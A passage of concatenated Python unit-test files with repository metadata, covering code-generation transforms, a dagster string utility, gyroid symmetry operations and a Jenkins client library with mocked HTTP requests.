reference=[Token(None, "foo", "foo"), Token(None, "bar", "bar")], action_sequence=action_sequence, train=True ) class TestAddPreviousActionRules(object): def test_simple_case(self): entries = [Environment( {"text_query": "ab test", "ground_truth": "y = x + 1"}, set(["ground_truth"]) )] dataset = ListDataset(entries) d = get_samples(dataset, MockParserWithoutVariadicArgs()) aencoder = ActionSequenceEncoder(d, 0) action_sequence = GroundTruthToActionSequence( MockParserWithoutVariadicArgs())( "y = x + 1" ) transform = AddPreviousActionRules(aencoder, 2) prev_rule_action = transform( reference=[Token(None, "ab", "ab"), Token(None, "test", "test")], action_sequence=action_sequence, train=True ) assert np.array_equal( [ # None -> Root [[1, -1, -1], [2, -1, -1], [-1, -1, -1]], # Assign -> Name, expr [[3, -1, -1], [4, -1, -1], [5, -1, -1]], # Name -> str [[4, -1, -1], [6, -1, -1], [-1, -1, -1]], # str -> "x" [[-1, -1, -1], [-1, 1, -1], [-1, -1, -1]], # Op -> str, expr, expr [[7, -1, -1], [6, -1, -1], [5, -1, -1]], # str -> "+" [[-1, -1, -1], [-1, 2, -1], [-1, -1, -1]], # Name -> str [[4, -1, -1], [6, -1, -1], [-1, -1, -1]], # str -> "y" [[-1, -1, -1], [-1, 3, -1], [-1, -1, -1]], # Number -> number [[8, -1, -1], [9, -1, -1], [-1, -1, -1]], ], prev_rule_action.numpy() ) def test_eval(self): entries = [Environment( {"text_query": "ab test", "ground_truth": "y = x + 1"}, set(["ground_truth"]) )] dataset = ListDataset(entries) d = get_samples(dataset, MockParserWithoutVariadicArgs()) aencoder = ActionSequenceEncoder(d, 0) action_sequence = GroundTruthToActionSequence(MockParserWithoutVariadicArgs())( "y = x + 1" ) transform = AddPreviousActionRules(aencoder, 2) prev_rule_action = transform( reference=[Token(None, "ab", "ab"), Token(None, "test", "test")], action_sequence=action_sequence, train=False ) assert np.array_equal( [ # None -> Root [[1, -1, -1], [2, -1, -1], [-1, -1, -1]], # Assign -> Name, expr [[3, -1, -1], [4, -1, -1], [5, -1, -1]], # Name -> str [[4, -1, -1], [6, -1, -1], [-1, -1, -1]], # str -> "x" [[-1, -1, -1], [-1, 1, -1], [-1, -1, -1]], # Op -> str, expr, expr [[7, -1, -1], [6, -1, -1], [5, -1, -1]], # str -> "+" [[-1, -1, -1], [-1, 2, -1], [-1, -1, -1]], # Name -> str [[4, -1, -1], [6, -1, -1], [-1, -1, -1]], # str -> "y" [[-1, -1, -1], [-1, 3, -1], [-1, -1, -1]], # Number -> number [[8, -1, -1], [9, -1, -1], [-1, -1, -1]], [[-1, -1, -1], [-1, 4, -1], [-1, -1, -1]], ], prev_rule_action.numpy() ) def test_n_dependent(self): entries = [Environment( {"text_query": "ab test", "ground_truth": "y = x + 1"}, set(["ground_truth"]) )] dataset = ListDataset(entries) d = get_samples(dataset, MockParserWithoutVariadicArgs()) aencoder = ActionSequenceEncoder(d, 0) action_sequence = GroundTruthToActionSequence(MockParserWithoutVariadicArgs())( "y = x + 1" ) transform = AddPreviousActionRules(aencoder, 2, n_dependent=3) prev_rule_action = transform( reference=[Token(None, "ab", "ab"), Token(None, "test", "test")], action_sequence=action_sequence, train=False, ) assert np.array_equal( [ # str -> "y" [[-1, -1, -1], [-1, 3, -1], [-1, -1, -1]], # Number -> number [[8, -1, -1], [9, -1, -1], [-1, -1, -1]], [[-1, -1, -1], [-1, 4, -1], [-1, -1, -1]], ], prev_rule_action.numpy() ) class TestAddActionSequenceAsTree(object): def test_simple_case(self): entries = [Environment( {"text_query": "ab test", "ground_truth": "y = x + 1"}, set(["ground_truth"]) )] dataset = ListDataset(entries) d = get_samples(dataset, MockParserWithoutVariadicArgs()) aencoder = ActionSequenceEncoder(d, 0) action_sequence = GroundTruthToActionSequence(MockParserWithoutVariadicArgs())( "y = x + 1" ) transform = AddActionSequenceAsTree(aencoder) matrix, depth = transform( reference=[Token(None, "ab", "ab"), Token(None, "test", "test")], action_sequence=action_sequence, train=True ) assert np.array_equal( [0, 1, 2, 3, 2, 3, 3, 4, 3], depth.numpy() ) assert np.array_equal( [[0, 1, 0, 0, 0, 0, 0, 0, 0], [0, 0, 1, 0, 1, 0, 0, 0, 0], [0, 0, 0, 1, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 1, 1, 0, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0]], matrix.numpy() ) def test_eval(self): entries = [Environment( {"text_query": "ab test", "ground_truth": "y = x + 1"}, set(["ground_truth"]) )] dataset = ListDataset(entries) d = get_samples(dataset, MockParserWithoutVariadicArgs()) aencoder = ActionSequenceEncoder(d, 0) action_sequence = GroundTruthToActionSequence(MockParserWithoutVariadicArgs())( "y = x + 1" ) transform = AddActionSequenceAsTree(aencoder,) matrix, depth = transform( reference=[Token(None, "ab", "ab"), Token(None, "test", "test")], action_sequence=action_sequence, train=False ) assert np.array_equal( [0, 1, 2, 3, 2, 3, 3, 4, 3, 4], depth.numpy() ) assert np.array_equal( [[0, 1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 1, 0, 1, 0, 0, 0, 0, 0], [0, 0, 0, 1, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 1, 1, 0, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 1, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]], matrix.numpy() ) class TestAddQueryForTreeGenDecoder(object): def test_simple_case(self): entries = [Environment( {"text_query": "ab test", "ground_truth": "y = x + 1"}, set(["ground_truth"]) )] dataset = ListDataset(entries) d = get_samples(dataset, MockParserWithoutVariadicArgs()) aencoder = ActionSequenceEncoder(d, 0) action_sequence = GroundTruthToActionSequence(MockParserWithoutVariadicArgs())( "y = x + 1" ) transform = AddQueryForTreeGenDecoder(aencoder, 3) query = transform( reference=[Token(None, "ab", "ab"), Token(None, "test", "test")], action_sequence=action_sequence, train=True ) assert np.array_equal( [ [-1, -1, -1], [2, -1, -1], [3, 2, -1], [4, 3, 2], [3, 2, -1], [5, 3, 2], [5, 3, 2], [4, 5, 3], [5, 3, 2] ], query.numpy() ) def test_eval(self): entries = [Environment( {"text_query": "ab test", "ground_truth": "y = x + 1"}, set(["ground_truth"]) )] dataset = ListDataset(entries) d = get_samples(dataset, MockParserWithoutVariadicArgs()) aencoder = ActionSequenceEncoder(d, 0) action_sequence = GroundTruthToActionSequence(MockParserWithoutVariadicArgs())( "y = x + 1" ) transform = AddQueryForTreeGenDecoder(aencoder, 3,) query = transform( reference=[Token(None, "ab", "ab"), Token(None, "test", "test")], action_sequence=action_sequence, train=False ) assert np.array_equal( [ [-1, -1, -1], [2, -1, -1], [3, 2, -1], [4, 3, 2], [3, 2, -1], [5, 3, 2], [5, 3, 2], [4, 5, 3], [5, 3, 2], [6, 5, 3] ], query.numpy() ) def test_n_dependent(self): entries = [Environment( {"text_query": "ab test", "ground_truth": "y = x + 1"}, set(["ground_truth"]) )] dataset = ListDataset(entries) d = get_samples(dataset, MockParserWithoutVariadicArgs()) aencoder = ActionSequenceEncoder(d, 0) action_sequence = GroundTruthToActionSequence(MockParserWithoutVariadicArgs())( "y = x + 1" ) transform = AddQueryForTreeGenDecoder(aencoder, 3, n_dependent=2) query = transform( reference=[Token(None, "ab", "ab"), Token(None, "test", "test")], action_sequence=action_sequence, train=False ) assert np.array_equal( [[5, 3, 2], [6, 5, 3]], query.numpy() ) class TestAddState(object): def test_simple_case(self): transform = AddState("key", None) result = transform(Environment({"train": True})) assert result["key"] is None def test_eval(self): transform = AddState("key", None) result = transform(Environment({"train": False})) assert result["key"] is None def test_eval2(self): transform = AddState("key", None) result = transform(Environment({"train": False, "key": 2})) assert result["key"] == 2

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cecd92414550bd5452da12adb42afcda7ffc3e96

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py

Python

python_modules/dagster/dagster_tests/utils_tests/test_camelcase.py

JPeer264/dagster-fork

32cc87a36134be7c442fa85d6867eb1d3301aea0

[ "Apache-2.0" ]

3

2020-04-28T16:27:33.000Z

2020-07-22T07:43:30.000Z

python_modules/dagster/dagster_tests/utils_tests/test_camelcase.py

JPeer264/dagster-fork

32cc87a36134be7c442fa85d6867eb1d3301aea0

[ "Apache-2.0" ]

2

2021-05-11T13:36:27.000Z

2021-09-03T01:53:11.000Z

python_modules/dagster/dagster_tests/utils_tests/test_camelcase.py

JPeer264/dagster-fork

32cc87a36134be7c442fa85d6867eb1d3301aea0

[ "Apache-2.0" ]

1

2021-02-21T12:16:47.000Z

from dagster.utils import camelcase def test_camelcase(): assert camelcase('foo') == 'Foo' assert camelcase('foo_bar') == 'FooBar' assert camelcase('foo.bar') == 'FooBar' assert camelcase('foo-bar') == 'FooBar' assert camelcase('') == ''

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4,009

py

Python

tests/test_symmetry.py

liuyxpp/liuyxpp-gyroid

7db91cb140869760124a66239773822bc2cd4e44

[ "BSD-3-Clause" ]

2

2020-09-15T13:47:53.000Z

2021-08-18T18:28:46.000Z

tests/test_symmetry.py

liuyxpp/liuyxpp-gyroid

7db91cb140869760124a66239773822bc2cd4e44

[ "BSD-3-Clause" ]

1

2020-11-20T09:37:42.000Z

tests/test_symmetry.py

liuyxpp/liuyxpp-gyroid

7db91cb140869760124a66239773822bc2cd4e44

[ "BSD-3-Clause" ]

null

# -*- coding: utf-8 -*- """ test_symmetry ============= :copyright: (c) 2012 by Yi-Xin Liu :license: BSD, see LICENSE for more details. """ import numpy as np from gyroid import Symmetry,Shape,symmetry_generator2 def test_Symmetry_1D(): h = Shape(1,np.array([2.0])) R = np.eye(1) t = np.zeros(1) s0 = Symmetry(1,"Bravais",h,R,t) is0 = s0.inverse() ms0 = s0 * is0 R = -1.0 * np.eye(1) s1 = Symmetry(1,"Bravais",h,R,t) is1 = s1.inverse() ms1 = s1 * is1 s2 = Symmetry(1,"Cartesian",h,R,t) is2 = s2.inverse() ms2 = s2 * is2 print s0.__dict__ print is0.__dict__ print "np.eye(1) is expected:" print ms0.__dict__ print s0 == is0 print s1.__dict__ print is1.__dict__ print "np.eye(1) is expected:" print ms1.__dict__ print s1 == is1 print s2.__dict__ print is2.__dict__ print "np.eye(1) is expected:" print ms2.__dict__ print s2 == is2 def test_Symmetry_2D(): b = "Bravais" alpha = np.pi/3.0 a1 = np.array([1.0,0.0]) a2 = np.array([np.cos(alpha),np.sin(alpha)]) h = Shape(2,a1,a2) R = np.eye(2) t = np.zeros(2) s0 = Symmetry(2,"Bravais",h,R,t) is0 = s0.inverse() ms0 = s0 * is0 R = np.array([[0.0,-1.0],[1.0,-1.0]]) t = np.zeros(2) s1 = Symmetry(2,"Bravais",h,R,t) is1 = s1.inverse() ms1 = s1 * is1 R = np.eye(2) t = np.zeros(2) s2 = Symmetry(2,"Cartesian",h,R,t) is2 = s2.inverse() ms2 = s2 * is2 R = np.array([[0.0,-1.0],[1.0,-1.0]]) t = np.zeros(2) s3 = Symmetry(2,"Cartesian",h,R,t) is3 = s3.inverse() ms3 = s3 * is3 print s0.__dict__ print is0.__dict__ print "np.eye(2) is expected:" print ms0.__dict__ print s0 == is0 print s1.__dict__ print is1.__dict__ print "np.eye(2) is expected:" print ms1.__dict__ print s1 == is1 print s2.__dict__ print is2.__dict__ print "np.eye(2) is expected:" print ms2.__dict__ print s2 == is2 print s3.__dict__ print is3.__dict__ print "np.eye(2) is expected:" print ms3.__dict__ print s3 == is3 symm = symmetry_generator2(17,b,h) for s in symm: print s.__dict__,"\n" if s1 in symm: print "s1 is in symm!" if is0 in symm: print "is0 is in symm!" if is1 in symm: print "is1 is in symm!" if is1 not in symm: print "is1 is not in symm!" def test_Symmetry_3D(): a1 = np.array([1.0,0.0,0.0]) a2 = np.array([0.0,1.0,0.0]) a3 = np.array([0.0,0.0,1.0]) h = Shape(3,a1,a2,a3) R = np.eye(3) t = np.zeros(3) s0 = Symmetry(3,"Bravais",h,R,t) is0 = s0.inverse() ms0 = s0 * is0 R = np.array([[-1.0,0.0,0.0],[0.0,-1.0,0.0],[0.0,0.0,1.0]]) t = np.array([0,0.5,0.5]) s1 = Symmetry(3,"Bravais",h,R,t) is1 = s1.inverse() ms1 = s1 * is1 R = np.eye(3) t = np.zeros(3) s2 = Symmetry(3,"Cartesian",h,R,t) is2 = s2.inverse() ms2 = s2 * is2 R = np.array([[-1.0,0.0,0.0],[0.0,-1.0,0.0],[0.0,0.0,1.0]]) t = np.array([0,0.5,0.5]) s3 = Symmetry(3,"Cartesian",h,R,t) is3 = s3.inverse() ms3 = s3 * is3 print s0.__dict__ print is0.__dict__ print "np.eye(3) is expected:" print ms0.__dict__ print s0 == is0 print s1.__dict__ print is1.__dict__ print "np.eye(3) is expected:" print ms1.__dict__ print s1 == is1 print s2.__dict__ print is2.__dict__ print "np.eye(3) is expected:" print ms2.__dict__ print s2 == is2 print s3.__dict__ print is3.__dict__ print "np.eye(3) is expected:" print ms3.__dict__ print s3 == is3 symm = [s0,s1,s2,s3,ms0,ms1,ms2,ms3] if s1 in symm: print "s1 is in symm!" if is0 in symm: print "is0 is in symm!" if is1 not in symm: print "is1 is not in symm!" def run_test(): #test_Symmetry_1D() test_Symmetry_2D() #test_Symmetry_3D() if __name__ == '__main__': run_test()

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Python

tests/unit/sources/test_jenkins.py

amolkahat/cibyl

586c3c0a6b21a8f1b71db0c5b29e7d60f9cf0def

[ "Apache-2.0" ]

null

tests/unit/sources/test_jenkins.py

amolkahat/cibyl

586c3c0a6b21a8f1b71db0c5b29e7d60f9cf0def

[ "Apache-2.0" ]

null

tests/unit/sources/test_jenkins.py

amolkahat/cibyl

586c3c0a6b21a8f1b71db0c5b29e7d60f9cf0def

[ "Apache-2.0" ]

null

""" # Copyright 2022 Red Hat # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. """ # pylint: disable=no-member import json from unittest import TestCase from unittest.mock import Mock, patch from cibyl.cli.argument import Argument from cibyl.exceptions.jenkins import JenkinsError from cibyl.sources.jenkins import (Jenkins, filter_builds, filter_jobs, safe_request) class TestSafeRequestJenkinsError(TestCase): """Tests for :func:`safe_request`.""" def test_wraps_errors_jenkins_error(self): """Tests that errors coming out of the Jenkins API call are wrapped around the JenkinsError type. """ @safe_request def request_test(): raise Exception self.assertRaises(JenkinsError, request_test) def test_returns_result_when_no_error(self): """Tests that the call's output is returned when everything goes right. """ result = {'some_key': 'some_value'} @safe_request def request_test(): return result self.assertEqual(result, request_test()) class TestJenkinsSource(TestCase): """Tests for :class:`Jenkins`.""" def setUp(self): self.jenkins = Jenkins("url", "user", "token") # pylint: disable=protected-access def test_with_all_args(self): """Checks that the object is built correctly when all arguments are provided. """ url = 'url/to/jenkins/' username = 'user' cert = 'path/to/cert.pem' token = 'token' jenkins = Jenkins(url, username, token, cert) self.assertEqual(cert, jenkins.cert) def test_with_no_cert(self): """Checks that object is built correctly when the certificate is not provided. """ url = 'url/to/jenkins/' username = 'user' cert = None token = 'token' jenkins = Jenkins(url, username, token, cert) self.assertIsNone(jenkins.cert) def test_get_jobs_all(self): """ Tests that the internal logic from :meth:`Jenkins.get_jobs` is correct. """ self.jenkins.send_request = Mock(return_value={"jobs": []}) jobs_arg = Mock() jobs_arg.value = [] jobs = self.jenkins.get_jobs(jobs=jobs_arg) self.jenkins.send_request.assert_called_with( self.jenkins.jobs_query) self.assertEqual(len(jobs), 0) def test_get_jobs(self): """ Tests that the internal logic from :meth:`Jenkins.get_jobs` is correct. """ response = {"jobs": [{'_class': 'org..job.WorkflowRun', 'name': "ansible", 'url': 'url1'}, {'_class': 'org..job.WorkflowRun', 'name': "job2", 'url': 'url2'}, {'_class': 'folder', 'name': 'ansible-empty'}]} self.jenkins.send_request = Mock(return_value=response) jobs_arg = Mock() jobs_arg.value = ["ansible"] jobs = self.jenkins.get_jobs(jobs=jobs_arg) self.assertEqual(len(jobs), 1) self.assertTrue("ansible" in jobs) self.assertEqual(jobs["ansible"].name.value, "ansible") self.assertEqual(jobs["ansible"].url.value, "url1") def test_get_builds(self): """ Tests that the internal logic from :meth:`Jenkins.get_builds` is correct. """ response = {'jobs': [{'_class': 'org..job.WorkflowRun', 'name': "ansible", 'url': 'url1'}]} builds = {'_class': '_empty', 'allBuilds': [{'number': 1, 'result': "SUCCESS"}, {'number': 2, 'result': "FAILURE"}]} self.jenkins.send_request = Mock(side_effect=[response, builds]) jobs = self.jenkins.get_builds() self.assertEqual(len(jobs), 1) job = jobs["ansible"] self.assertEqual(job.name.value, "ansible") self.assertEqual(job.url.value, "url1") builds_found = job.builds.value self.assertEqual(len(builds_found), 2) self.assertEqual(builds_found["1"].build_id.value, "1") self.assertEqual(builds_found["1"].status.value, "SUCCESS") self.assertEqual(builds_found["2"].build_id.value, "2") self.assertEqual(builds_found["2"].status.value, "FAILURE") def test_get_last_build(self): """ Tests that the internal logic from :meth:`Jenkins.get_last_build` is correct. """ response = {'jobs': [{'_class': 'org..job.WorkflowRun', 'name': "ansible", 'url': 'url1', 'lastBuild': {'number': 1, 'result': "SUCCESS"} }]} self.jenkins.send_request = Mock(side_effect=[response]) jobs = self.jenkins.get_last_build() self.assertEqual(len(jobs), 1) job = jobs["ansible"] self.assertEqual(job.name.value, "ansible") self.assertEqual(job.url.value, "url1") self.assertEqual(len(job.builds.value), 1) build = job.builds.value["1"] self.assertEqual(build.build_id.value, "1") self.assertEqual(build.status.value, "SUCCESS") def test_get_last_build_from_get_builds(self): """ Test that get_last_build is called when calling get_builds with --last-build option. """ response = {'jobs': [{'_class': 'org..job.WorkflowRun', 'name': "ansible", 'url': 'url1', 'lastBuild': {'number': 1, 'result': "SUCCESS"} }]} self.jenkins.send_request = Mock(side_effect=[response]) arg = Mock() arg.value = [] jobs = self.jenkins.get_builds(last_build=arg) self.assertEqual(len(jobs), 1) job = jobs["ansible"] self.assertEqual(job.name.value, "ansible") self.assertEqual(job.url.value, "url1") self.assertEqual(len(job.builds.value), 1) build = job.builds.value["1"] self.assertEqual(build.build_id.value, "1") self.assertEqual(build.status.value, "SUCCESS") def test_get_last_build_job_no_builds(self): """Test that get_last_build handles properly a job has no builds.""" response = {'jobs': [{'_class': 'org.job.WorkflowJob', 'name': 'ansible-nfv-branch', 'url': 'url', 'lastBuild': None}, {'_class': 'folder'}]} self.jenkins.send_request = Mock(side_effect=[response]) jobs = self.jenkins.get_last_build() self.assertEqual(len(jobs), 1) job = jobs["ansible-nfv-branch"] self.assertEqual(job.name.value, "ansible-nfv-branch") self.assertEqual(job.url.value, "url") self.assertEqual(len(job.builds.value), 0) @patch("requests.get") def test_send_request(self, patched_get): """ Test that send_request method parses the response correctly. """ response = {'jobs': [{'_class': 'org..job.WorkflowRun', 'name': "ansible", 'url': 'url1'}]} patched_get.return_value = Mock(text=json.dumps(response)) self.assertEqual(response, self.jenkins.send_request("test")) patched_get.assert_called_with( f'://{self.jenkins.username}:{self.jenkins.token}@/api/jsontest', verify=self.jenkins.cert, timeout=None ) @patch("requests.get") def test_send_request_with_item(self, patched_get): """ Test that send_request method parses the response correctly. """ response = {'jobs': [{'_class': 'org..job.WorkflowRun', 'name': "ansible", 'url': 'url1'}]} patched_get.return_value = Mock(text=json.dumps(response)) self.assertEqual(response, self.jenkins.send_request("test", item="item")) api_part = "item/api/jsontest" patched_get.assert_called_with( f'://{self.jenkins.username}:{self.jenkins.token}@/{api_part}', verify=self.jenkins.cert, timeout=None ) @patch("requests.get") def test_send_request_with_raw_response(self, patched_get): """ Test that send_request returns the raw response. """ response = {'jobs': [{'_class': 'org..job.WorkflowRun', 'name': "ansible", 'url': 'url1'}]} response = json.dumps(response) patched_get.return_value = Mock(text=response) self.assertEqual(response, self.jenkins.send_request("test", raw_response=True)) api_part = "api/jsontest" patched_get.assert_called_with( f'://{self.jenkins.username}:{self.jenkins.token}@/{api_part}', verify=self.jenkins.cert, timeout=None ) def test_get_deployment(self): """ Test that get_deployment reads properly the information obtained from jenkins. """ job_names = ['test_17.3_ipv4_job_2comp_1cont', 'test_16_ipv6_job_1comp_2cont', 'test_job'] ip_versions = ['4', '6', 'unknown'] releases = ['17.3', '16', ''] topologies = ["compute:2,controller:1", "compute:1,controller:2", ""] response = {'jobs': [{'_class': 'folder'}]} for job_name in job_names: response['jobs'].append({'_class': 'org.job.WorkflowJob', 'name': job_name, 'url': 'url', 'lastBuild': None}) self.jenkins.send_request = Mock(side_effect=[response]) arg = Mock() arg.value = [] jobs = self.jenkins.get_deployment(ip_version=arg) self.assertEqual(len(jobs), 3) for job_name, ip, release, topology in zip(job_names, ip_versions, releases, topologies): job = jobs[job_name] deployment = job.deployment.value self.assertEqual(job.name.value, job_name) self.assertEqual(job.url.value, "url") self.assertEqual(len(job.builds.value), 0) self.assertEqual(deployment.release.value, release) self.assertEqual(deployment.ip_version.value, ip) self.assertEqual(deployment.topology.value, topology) def test_get_deployment_many_jobs(self): """ Test that get_deployment reads properly the information obtained from jenkins. """ job_names = ['test_17.3_ipv4_job_2comp_1cont', 'test_16_ipv6_job_1comp_2cont', 'test_job'] ip_versions = ['4', '6', 'unknown'] releases = ['17.3', '16', ''] topologies = ["compute:2,controller:1", "compute:1,controller:2", ""] response = {'jobs': [{'_class': 'folder'}]} for job_name in job_names: response['jobs'].append({'_class': 'org.job.WorkflowJob', 'name': job_name, 'url': 'url', 'lastBuild': None}) for _ in range(12): # ensure that there are more than 12 jobs and jenkins source gets # deployment information from job name response['jobs'].append({'_class': 'org.job.WorkflowJob', 'name': 'test_job', 'url': 'url', 'lastBuild': None}) self.jenkins.send_request = Mock(side_effect=[response]) arg = Mock() arg.value = [] jobs = self.jenkins.get_deployment(ip_version=arg) self.assertEqual(len(jobs), 3) for job_name, ip, release, topology in zip(job_names, ip_versions, releases, topologies): job = jobs[job_name] deployment = job.deployment.value self.assertEqual(job.name.value, job_name) self.assertEqual(job.url.value, "url") self.assertEqual(len(job.builds.value), 0) self.assertEqual(deployment.release.value, release) self.assertEqual(deployment.ip_version.value, ip) self.assertEqual(deployment.topology.value, topology) def test_get_deployment_artifacts_fallback(self): """ Test that get_deployment falls back to reading job_names after failing to find artifacts. """ job_names = ['test_17.3_ipv4_job_2comp_1cont', 'test_16_ipv6_job_1comp_2cont', 'test_job'] ip_versions = ['4', '6', 'unknown'] releases = ['17.3', '16', ''] topologies = ["compute:2,controller:1", "compute:1,controller:2", ""] response = {'jobs': [{'_class': 'folder'}]} for job_name in job_names: response['jobs'].append({'_class': 'org.job.WorkflowJob', 'name': job_name, 'url': 'url', 'lastBuild': {}}) # each job triggers 2 artifacts requests, if both fail, fallback to # search the name artifacts_fail = [JenkinsError for _ in range(6)] self.jenkins.send_request = Mock(side_effect=[response]+artifacts_fail) self.jenkins.add_job_info_from_name = Mock( side_effect=self.jenkins.add_job_info_from_name) jobs = self.jenkins.get_deployment() self.jenkins.add_job_info_from_name.assert_called() self.assertEqual(len(jobs), 3) for job_name, ip, release, topology in zip(job_names, ip_versions, releases, topologies): job = jobs[job_name] deployment = job.deployment.value self.assertEqual(job.name.value, job_name) self.assertEqual(job.url.value, "url") self.assertEqual(len(job.builds.value), 0) self.assertEqual(deployment.release.value, release) self.assertEqual(deployment.ip_version.value, ip) self.assertEqual(deployment.topology.value, topology) def test_get_deployment_artifacts(self): """ Test that get_deployment reads properly the information obtained from jenkins using artifacts. """ job_names = ['test_17.3_ipv4_job', 'test_16_ipv6_job', 'test_job'] ip_versions = ['4', '6', 'unknown'] releases = ['17.3', '16', ''] topologies = ["compute:2,controller:3", "compute:1,controller:2", "compute:2,controller:2"] response = {'jobs': [{'_class': 'folder'}]} for job_name in job_names: response['jobs'].append({'_class': 'org.job.WorkflowJob', 'name': job_name, 'url': 'url', 'lastBuild': {}}) artifacts = [ f"bla\nJP_TOPOLOGY='{topologies[0]}'\nPRODUCT_VERSION=17.3", f"bla\nJP_TOPOLOGY='{topologies[1]}'\nPRODUCT_VERSION=16", f"bla\nJP_TOPOLOGY='{topologies[2]}'\nPRODUCT_VERSION=", ] self.jenkins.send_request = Mock(side_effect=[response]+artifacts) jobs = self.jenkins.get_deployment() self.assertEqual(len(jobs), 3) for job_name, ip, release, topology in zip(job_names, ip_versions, releases, topologies): job = jobs[job_name] deployment = job.deployment.value self.assertEqual(job.name.value, job_name) self.assertEqual(job.url.value, "url") self.assertEqual(len(job.builds.value), 0) self.assertEqual(deployment.release.value, release) self.assertEqual(deployment.ip_version.value, ip) self.assertEqual(deployment.topology.value, topology) def test_get_deployment_filter_ipv(self): """Test that get_deployment filters by ip_version.""" job_names = ['test_17.3_ipv4_job', 'test_16_ipv6_job', 'test_job'] response = {'jobs': [{'_class': 'folder'}]} for job_name in job_names: response['jobs'].append({'_class': 'org.job.WorkflowJob', 'name': job_name, 'url': 'url', 'lastBuild': None}) self.jenkins.send_request = Mock(side_effect=[response]) arg = Mock() arg.value = ["4"] jobs = self.jenkins.get_deployment(ip_version=arg) self.assertEqual(len(jobs), 1) job_name = 'test_17.3_ipv4_job' job = jobs[job_name] deployment = job.deployment.value self.assertEqual(job.name.value, job_name) self.assertEqual(job.url.value, "url") self.assertEqual(len(job.builds.value), 0) self.assertEqual(deployment.release.value, "17.3") self.assertEqual(deployment.ip_version.value, "4") self.assertEqual(deployment.topology.value, "") def test_get_deployment_filter_topology(self): """Test that get_deployment filters by topology.""" job_names = ['test_17.3_ipv4_job_2comp_1cont', 'test_16_ipv6_job_1comp_2cont', 'test_job'] topology_value = "compute:2,controller:1" response = {'jobs': [{'_class': 'folder'}]} for job_name in job_names: response['jobs'].append({'_class': 'org.job.WorkflowJob', 'name': job_name, 'url': 'url', 'lastBuild': None}) self.jenkins.send_request = Mock(side_effect=[response]) arg = Mock() arg.value = [topology_value] jobs = self.jenkins.get_deployment(topology=arg) self.assertEqual(len(jobs), 1) job_name = 'test_17.3_ipv4_job_2comp_1cont' job = jobs[job_name] deployment = job.deployment.value self.assertEqual(job.name.value, job_name) self.assertEqual(job.url.value, "url") self.assertEqual(len(job.builds.value), 0) self.assertEqual(deployment.release.value, "17.3") self.assertEqual(deployment.ip_version.value, "4") self.assertEqual(deployment.topology.value, topology_value) def test_get_deployment_filter_release(self): """Test that get_deployment filters by release.""" job_names = ['test_17.3_ipv4_job_2comp_1cont', 'test_16_ipv6_job_1comp_2cont', 'test_job'] response = {'jobs': [{'_class': 'folder'}]} topology_value = "compute:2,controller:1" for job_name in job_names: response['jobs'].append({'_class': 'org.job.WorkflowJob', 'name': job_name, 'url': 'url', 'lastBuild': None}) self.jenkins.send_request = Mock(side_effect=[response]) arg = Mock() arg.value = ["17.3"] jobs = self.jenkins.get_deployment(release=arg) self.assertEqual(len(jobs), 1) job_name = 'test_17.3_ipv4_job_2comp_1cont' job = jobs[job_name] deployment = job.deployment.value self.assertEqual(job.name.value, job_name) self.assertEqual(job.url.value, "url") self.assertEqual(len(job.builds.value), 0) self.assertEqual(deployment.release.value, "17.3") self.assertEqual(deployment.ip_version.value, "4") self.assertEqual(deployment.topology.value, topology_value) def test_get_deployment_filter_topology_ip_version(self): """Test that get_deployment filters by topology and ip version.""" job_names = ['test_17.3_ipv4_job_2comp_1cont', 'test_16_ipv6_job_1comp_2cont', 'test_job'] topology_value = "compute:2,controller:1" response = {'jobs': [{'_class': 'folder'}]} for job_name in job_names: response['jobs'].append({'_class': 'org.job.WorkflowJob', 'name': job_name, 'url': 'url', 'lastBuild': None}) self.jenkins.send_request = Mock(side_effect=[response]) arg = Mock() arg.value = [topology_value] arg_ip = Mock() arg_ip.value = ["6"] jobs = self.jenkins.get_deployment(topology=arg, ip_version=arg_ip) self.assertEqual(len(jobs), 0) def test_get_deployment_filter_network_backend(self): """Test that get_deployment filters by topology and ip version.""" job_names = ['test_17.3_ipv4_job_2comp_1cont_geneve', 'test_16_ipv6_job_1comp_2cont_vxlan', 'test_job'] topology_value = "compute:2,controller:1" response = {'jobs': [{'_class': 'folder'}]} for job_name in job_names: response['jobs'].append({'_class': 'org.job.WorkflowJob', 'name': job_name, 'url': 'url', 'lastBuild': None}) self.jenkins.send_request = Mock(side_effect=[response]) arg = Mock() arg.value = ["geneve"] jobs = self.jenkins.get_deployment(network_backend=arg) self.assertEqual(len(jobs), 1) job_name = 'test_17.3_ipv4_job_2comp_1cont_geneve' job = jobs[job_name] deployment = job.deployment.value self.assertEqual(job.name.value, job_name) self.assertEqual(job.url.value, "url") self.assertEqual(len(job.builds.value), 0) self.assertEqual(deployment.release.value, "17.3") self.assertEqual(deployment.ip_version.value, "4") self.assertEqual(deployment.topology.value, topology_value) self.assertEqual(deployment.network_backend.value, "geneve") def test_get_deployment_filter_controller(self): """Test that get_deployment filters by controller.""" job_names = ['test_17.3_ipv4_job_2comp_1cont', 'test_16_ipv6_job_1comp_2cont', 'test_job'] topology_value = "compute:2,controller:1" response = {'jobs': [{'_class': 'folder'}]} for job_name in job_names: response['jobs'].append({'_class': 'org.job.WorkflowJob', 'name': job_name, 'url': 'url', 'lastBuild': None}) self.jenkins.send_request = Mock(side_effect=[response]) arg = Argument("compute", arg_type=str, description="", value=["<2"], ranged=True) jobs = self.jenkins.get_deployment(controllers=arg) self.assertEqual(len(jobs), 1) job_name = 